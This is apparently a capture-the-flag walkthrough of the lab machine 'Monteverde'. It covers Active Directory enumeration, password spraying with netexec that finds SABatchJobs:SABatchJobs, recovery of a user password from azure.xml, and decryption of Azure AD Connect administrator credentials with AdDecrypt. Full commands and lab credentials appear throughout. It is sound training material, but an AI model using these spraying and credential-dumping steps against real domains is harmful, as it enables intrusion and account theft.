Enumeration
nmap
I ran a nmap scan and there are typical AD related ports open.
nmap scan results
Nmap scan report for 10.129.228.111
Host is up (0.029s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-16 20:44:37Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019
Aggressive OS guesses: Windows Server 2019 (97%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-04-16T20:44:45
|_ start_date: N/A
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.13 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-16 22:45 CEST
Nmap scan report for 10.129.228.111
Host is up (0.029s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49676/tcp open unknown
49693/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 114.87 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-16 22:47 CEST
Nmap scan report for MEGABANK.LOCAL (10.129.228.111)
Host is up (0.031s latency).
Not shown: 996 open|filtered udp ports (no-response)
PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
389/udp open ldap
Nmap done: 1 IP address (1 host up) scanned in 28.08 seconds
/etc/hosts file.Quick checks
I checked smb for null session and it connects but fail - netexec shows that it throws an “access denied” error. I tried a rid brute attack and guest’s account seems to be disabled.
With dig reading the SOA records I found out that the domain controller’s domain is “monteverde.MEGABANK.LOCAL” - I also added it into my file.
ldapsearch
Luckily anonymous ldapsearch works so with the ldapsearch -x -H ldap://10.129.228.111 -b "DC=MEGABANK,DC=LOCAL" command I was able to dump a ton of data. I scoped it in with ldapsearch -x -H ldap://10.129.228.111 -b "DC=MEGABANK,DC=LOCAL" "(objectClass=user)" sAMAccountName cn mail.
Users:
Common names:
AAD_987d7f2f57d2
Mike Hope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
Dimitris Galanos
Ray O'Leary
Sally Morgan
sAM names:
AAD_987d7f2f57d2
mhope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
dgalanos
roleary
smorganI made a wordlist with those sam names and ran it against kerberos with impacket tools. Firstly I want to check for any as-rep roastable users as this doesn’t require valid credentials.
To check for it I ran GetNPUsers.py MEGABANK.LOCAL/ -usersfile users.txt -no-pass.
[-] User AAD_987d7f2f57d2 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mhope doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User SABatchJobs doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-ata doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-bexec doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-netapp doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User dgalanos doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User roleary doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User smorgan doesn't have UF_DONT_REQUIRE_PREAUTH setSadly all users require pre authentication meaning they are not vulnerable.
I will now try to bruteforce some common passwords against my user list with netexec smb 10.129.228.111 -u users.txt -p /usr/share/wordlists/SecLists/Passwords/Common-Credentials/10k-most-common.txt.
I had it running in the background for a while but it failed and timed out. I suspect that if it was the meant pathway it would fine the password much quicker.
Foothold
I went back on my steps looking for anything I might’ve missed and I again started to bruteforce. This time I created a custom list having data of users, their username variants and the domain name and I got one hit - SABatchJobs:SABatchJobs. I checked those credentials with netexec and they work with smb, wmi and ldap. I ran netexec smb 10.129.228.111 -u 'SABatchJobs' -p 'SABatchJobs' --shares to see what I can access now.
[*] Enumerated shares
Share Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin
azure_uploads READ
C$ Default share
E$ Default share
IPC$ READ Remote IPC
NETLOGON READ Logon server share
SYSVOL READ Logon server share
users$ READ There are some custom shares which are interesting. I reviewed all that I could read and I only found “azure.xml” in the users$ share. From what I gathered this is a serialized Azure AD credential object and it stores a password for something, I assume some service, let’s find out - 4n0therD4y@n0th3r$.
With netexec smb 10.129.228.111 -u users.txt -p 4n0therD4y@n0th3r$ I found it belongs to mhope. I got smb, winrm, ldap and wmi access.
I checked the smb access and there was nothing new that SABatchJobs didn’t see. I looked into the account with evil-winrm and found the user’s flag on the Desktop. I then looked around and found an .Azure folder which seems interesting but before I check it out more in depth I will run bloodhound to gather as much data about the AD as I can.
bloodhound-python -u mhope -p '4n0therD4y@n0th3r$' -d MEGABANK.LOCAL -dc monteverde.MEGABANK.LOCAL -ns 10.129.228.111 -c all; rusthound-ce -d MEGABANK.LOCAL -u mhope -p '4n0therD4y@n0th3r$' --zip -c All
With it I didn’t find much, however I noticed that mhope is a part of a “AZURE ADMINS@MEGABANK.LOCAL” group which seems pretty out of place. And it’s also kinda weird because it doesn’t seem to have any interesting permissions.
In .Azure folder I found Azure related files. These files seem to be used by Azure to store cached sessions and tokens, so users can stay signed in without re-entering credentials.
I gathered some basic data about the user of this session:
"User": {
"Name": "John Clark",
"UPN": "john@a67632354763outlook.onmicrosoft.com",
"IP": "46.4.223.173"
}From what I gathered this seems to be kinda like opening old tmux sessions. I can use Get-AzContext and see that there is some session as the John user.
Privilege Escalation
I’m not super familiar with actually testing Azure. Because of that I stepped back and read about it. Here are some good reads: adamtheautomator.com Github - andreipintica labs.reversec.com
I looked for ways to exploit azure, some of them mentioned the use of mimikatz but I wasn’t able to lunch it on the target host. I tried to use Set-ExecutionPolicy Bypass -Scope Process but it didn’t work.
Found this great read or possible exploits of Azure AD Connect. I considered Azure AD Connect because of the weird “AAD_987d7f2f57d2” account and tried to understand what is it related to.
Tried adconnectdump but it didn’t work. Likely because lack of access of mhope to RPC.
Tried AdSyncDecrypt. At first *Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin> C:/Users/mhope/Desktop/AdDecrypt/AdDecrypt.exe didn’t work but *Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin> C:/Users/mhope/Desktop/AdDecrypt/AdDecrypt.exe -FullSQL did - I guess AD Connect just used the full db here. For it all to work I just had to follow instructions from the git repo so I recommend checking it out.
With this, I now have decrypted admin credentials:
DECRYPTED CREDENTIALS:
Username: administrator
Password: d0m@in4dminyeah!I blindly tried them out with evil-winrm and they worked. I found a root flag on the Desktop.
Closing Thoughts
MonteVerde is a pretty straightforward machine, it shows a niche technique of privilege escalation with Azure AD Connect but besides it, it’s pretty typical in terms of pivoting, enumeration, and gaining the foothold. Still, there aren’t many boxes that touch Azure so it was really interesting to explore it.
For me personal lessons learned: I need to keep practicing not splitting my attention on different possible vectors and try to feel and have an instinct what could be the expected path of attack - KISS.